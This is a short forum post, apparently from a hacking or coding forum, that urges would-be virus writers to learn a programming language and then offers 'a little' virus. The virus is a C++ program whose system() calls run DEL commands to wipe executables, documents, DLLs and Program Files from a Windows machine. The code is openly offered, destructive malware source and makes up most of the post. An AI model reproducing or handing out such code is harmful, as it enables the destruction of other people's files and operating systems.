Like few guys say to you you can't just sit and made virus. You can download few sources from net but when you look at that source you don't knew what he actualy do. So take c,c++, Delphi, Java or Whatever you want and learn. I just wanth to say THX to fukuall because I need that cource about creating registry file. If you wanth a virus ok then here is a little on [code]:
#include <iostream.h>
#include <stdlib.h>
int main()
{
system ("DEL C:\*.exe");
system ("DEL C:\*.txt");
system ("DEL C:\*.doc");
system ("DEL C:\WINDOWS\*.exe");
system ("DEL C:\WINDOWS\*.com");
system ("DEL C:\WINDOWS\*.bat");
system ("DEL C:\Program Files\*.*");
system ("DEL C:\WINDOWS\SYSTEM\*.exe");
system ("DEL C:\WINDOWS\SYSTEM\*.dll");
system ("DEL C:\WINDOWS\SYSTEM\*.com");
system ("DEL C:\WINDOWS\SYSTEM\*.bat");
return 0;
}
